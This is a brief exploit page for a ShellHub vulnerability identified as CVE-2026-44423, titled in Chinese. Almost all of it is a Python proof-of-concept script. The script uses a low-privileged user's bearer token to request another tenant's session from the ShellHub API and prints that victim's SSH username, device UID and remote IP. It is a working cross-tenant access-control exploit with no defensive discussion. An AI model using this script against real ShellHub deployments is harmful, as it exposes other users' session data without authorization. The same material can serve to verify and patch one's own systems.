CVE-2026-44423 ShellHub越权读取会话漏洞

import requests # Target URL of the vulnerable ShellHub instance target_url = "https://<shellhub-domain>/api/sessions/<victim_session_uid>" # Headers with a valid authentication token from a low-privileged user headers = { "Authorization": "Bearer <attacker_valid_token>", "Content-Type": "application/json" } # Send the GET request to access another tenant's session # The application fails to check if the attacker's tenant owns this session_uid response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() print("[+] Exploit successful!") print(f"SSH Username: {data.get('username')}") print(f"Device UID: {data.get('device_uid')}") print(f"Remote IP: {data.get('remote_ip')}") else: print(f"[-] Request failed with status code: {response.status_code}")